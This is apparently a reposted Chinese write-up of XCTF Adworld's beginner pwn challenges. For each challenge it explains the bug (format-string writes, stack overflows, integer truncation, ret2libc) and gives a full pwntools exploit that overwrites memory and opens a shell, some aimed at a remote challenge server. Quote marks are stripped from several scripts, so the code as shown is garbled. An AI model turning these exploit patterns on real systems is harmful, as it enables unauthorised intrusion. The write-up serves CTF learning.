当前位置 : 主页 > 网页制作 > HTTP/TCP >

攻防世界新手区pwn writeup

来源:互联网 收集:自由互联 发布时间:2021-06-16
CGfsb 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwnnumber=2grade=0id=5050 下载文件后,使用file命令查看。 32位的文件,用ida打开,F5查看伪代码。 printf漏洞:https://www.cnblogs.com/cfans1993/ar

CGfsb

  • 题目地址:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5050
  • 下载文件后,使用file命令查看。
  • 32位的文件,用ida打开,F5查看伪代码。
  • printf漏洞:https://www.cnblogs.com/cfans1993/articles/5619134.html
  • 思路:
    • 找到pwnme的地址
    • 把pwnme的地址写到s里面
    • printf输出8个字节,然后用%n把8写入到pwnme里面
  • 步骤:
    • 利用ida直接找到pwnme的地址,为0x804a068
    • 找到s相对format参数的偏移量,可以看到,传递message的变量s,被存储在0xbffff628地址内,此时0xbffff600对应printf的format参数在栈中的位置,所以偏移量为10,对应构造%10$n
    • 构造payload:(pwnme地址)+"aaaa"+"%10$n"
  • pwntools:
    from pwn import *

    context.log_level = debug 
    DEBUG = int(sys.argv[1])

    if DEBUG == 1: 
        p = process(./cgfsb) 
    else: 
        p = remote(111.198.29.45,58350)

    pwnme_addr = 0x0804A068

    payload1 = "aaaa" 
    payload2 = p32(pwnme_addr) + aaaa%10$n

    p.recvuntil(please tell me your name:\n) 
    p.sendline(payload1)

    p.recvuntil(leave your message please:\n) 
    p.sendline(payload2)

    print p.recv() 
    print p.recv()

 

  • 运行结果:

When did you born

  • 文件类型
  • 运行测试
  • IDA查看反汇编伪代码,v5等于1926能拿到flag,但之前有一个判断,不让输入1926
  • IDA调试,观察栈
    • 输入生日1111,在栈中找到v5的位置
    • 输入名字abcdefghijk
    • 看到v4部分覆盖了v5,所以我们要构造的payload格式应该是8chars+‘\x86‘+‘\x07‘
  • pwntools代码
from pwn import *
p=remote(ip,port)
p.sendafter(Your Birth?,str(0)+\n) 
p.sendafter( Your Name?,a*8+p64(1926)) 
p.interactive()

 

  • 运行结果

hello_pwn

  • 下载后反汇编用IDA查看伪代码,发现有一个函数用于显示flag,重命名为showflag
  • 显然,只要把dword_60106C赋值为1853186401就可以了,我们发现,输入aaaaaaaaaaaaaaaaa,其中一部分会覆盖dword_60106C,所以payload的格式应该是4chars+1853186401
  • pwntools代码
from pwn import *
p = process("./637f5c201bf94c128c8c22e4d6e9cef3")
p.sendline(a*4+p32(1853186401))
p.interactive()

 

  • 本地测试
  • 远程

level0

  • 检查保护
  • 反汇编后发现callsystem函数调用了shell
  • vulnerable_function函数存在栈溢出漏洞,考虑覆盖返回值
  • 输入128个a和bbbbcccc后,可以看到,刚好到达返回地址,所以payload格式为128+8个char+callsystem地址
  • exp如下
from pwn import *

p = remote(111.198.29.45,54531)
elf = ELF("./level0")
sysaddr = elf.symbols[callsystem]
payload = a*(0x80 + 8) + p64(sysaddr)
p.recv()
p.send(payload)
p.interactive()

 

  • 运行结果

level2

  • 查看程序保护
  • IDA查看反汇编伪代码,存在栈溢出漏洞
  • 程序中含有system函数和"/bin/sh"字符串
  • exp如下
from pwn import *

elf = ELF(./level2)
sys_addr = elf.symbols[system]
sh_addr = elf.search(/bin/sh).next()
 
payload = A * (0x88 + 0x4) + p32(sys_addr) +     p32(0xdeadbeef) + p32(sh_addr)

#io = remote(‘111.198.29.45‘,40579)
io = process("./level2")
io.sendlineafter("Input:\n",payload)
io.interactive()
io.close()

 

guess num

  • 查看文件类型
  • 检查程序保护
  • 运行测试
  • IDA反汇编
  • 可以看到,每次数字都是一个随机数,而且随机数的种子是在gets之前的,所以我们可能有机会覆盖seed
  • 查看栈,可以发现,输入name确实可以覆盖到seed
  • exp:(循环里用sendafter和recvuntil都跑不动,只好手动了)
from pwn import *
from ctypes import *

elf = ELF(./guess)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
io = process(./guess)
#io = remote("111.198.29.45",58174)

payload = 32 * a + p64(1)
io.sendafter("Your name:", payload)

libc.srand(1)

for i in range(10):
    num = str(libc.rand()%6+1)
    print num+" ",

io.interactive()

 

  • 运行结果

cgpwn2

  • 检查保护
  • 反汇编
  • 我们可以看到程序里面有system函数,但是没有"/bin/sh"字符串,但是name变量是全局的,我们可以尝试把字串放到name变量里
  • exp:
from pwn import *

elf = ELF(./cgpwn2)
io = process(./cgpwn2)
#io = remote("111.198.29.45",58174)

payload = 42 * a + p32(elf.symbols[system]) + p32(0xdeadbeef) + p32(0x0804A080)
shstr = "/bin/sh"

io.recvuntil("name")
io.sendline(shstr)
io.recvuntil("here:")
io.sendline(payload)

io.interactive()

 

int overflow

  • 查看保护
  • 运行测试
  • 反汇编,发现有一个函数已经有显示flag的功能了,但是并没有被调用,可以考虑返回地址溢出,在密码检查的函数中,我们看到,字符串长度被赋给了uint8类型,这里会发生截断,而在正确的分支,s字符串会被strcpy使用。


  • 整数溢出:由于int是32位,而int8是8位,我们可以在最后8位伪造长度,骗过长度检测,使用"0000 1000"(8)作为最后8位。
  • 栈中返回地址被覆盖(长度263)
  • payload格式:0x14个char + 4个char + 地址(占4个char) + 0xeb个char
  • exp
from pwn import *

elf = ELF(./intover)
io = process(./intover)
#io = remote("111.198.29.45",51548)

io.recvuntil("choice:")
io.sendline(1)
io.recvuntil("username:")
io.sendline("aaa")
io.recvuntil("passwd")
io.sendline(a*0x14 + a*4 + p32(elf.symbols[what_is_this]) + 0xea*a)
io.interactive()

 

  • 运行结果
  • 整数溢出:https://www.cnblogs.com/pwn2web/p/11164417.html

string

  • 查看保护
  • 反汇编,发现一个格式化字符串漏洞,一处强制转化位函数指针

  • 我们只要把shellcode写入v1就可以了
  • 逆推,我们要使a1[0]和a1[1]一样
  • a1在上一级函数中是一个指针
  • a1也就是在main中的v4,也就是v3,我们通过secret[0]得到地址
  • 这里可以在v2写入v3[0]的地址,然后通过格式化字符串漏洞,在v3[0]中写入85,使v3[0]==v3[1]
  • 寻找format在栈中的位置,偏移量为7
  • exp:
from pwn import *

#io = remote(‘111.198.29.45‘,‘41410‘)
io = process("./string")
io.recvuntil("secret[0] is ")
v3_0_addr = int(io.recvuntil("\n")[:-1], 16)
io.recvuntil("character‘s name be:")
io.sendline("tiumo")
io.recvuntil("east or up?:")
io.sendline("east")
io.recvuntil("there(1), or leave(0)?:")
io.sendline("1")
io.recvuntil("‘Give me an address‘")
io.sendline(str(v3_0_addr))
io.recvuntil("you wish is:")
io.sendline("%85c%7$n")

context(log_level = debug, arch = amd64, os = linux)
shellcode=asm(shellcraft.sh())

io.recvuntil("USE YOU SPELL")
io.sendline(shellcode)
io.interactive()

 

  • 运行结果:

level3

  • 先查看保护
  • 反汇编,很直白的栈溢出
  • GOT表与PLT表:https://blog.csdn.net/qq_18661257/article/details/54694748
  • ret2libc攻击:https://blog.csdn.net/guilanl/article/details/61921481
  • exp(本地不能执行,但远程可以,不知道为什么)
#-*-coding:utf-8-*-
from pwn import *

#io = process(‘./level3‘)
io = remote(111.198.29.45,55186)
elf = ELF(./level3)
libc = ELF(./libc_32.so.6)

write_plt = elf.plt[write]
vul_addr = elf.symbols[vulnerable_function]
got_addr = elf.got[write]

payload1="a"*0x88 + aaaa + p32(write_plt) + p32(vul_addr) + p32(1) + p32(got_addr) + p32(4)
io.recvuntil("Input:\n")
io.sendline(payload1)
write_addr = u32(io.recv(4))
print write_addr

libc_write = libc.symbols[write]
libc_system = libc.symbols[system]
libc_sh = libc.search(/bin/sh).next()
system_addr = write_addr + (libc_system-libc_write) #用相对地址计算真实地址
sh_addr = write_addr + (libc_sh-libc_write)

payload2 = a*0x88 + aaaa + p32(system_addr) + aaaa + p32(sh_addr)
io.recvuntil("Input:\n")
io.sendline(payload2)
io.interactive()
网友评论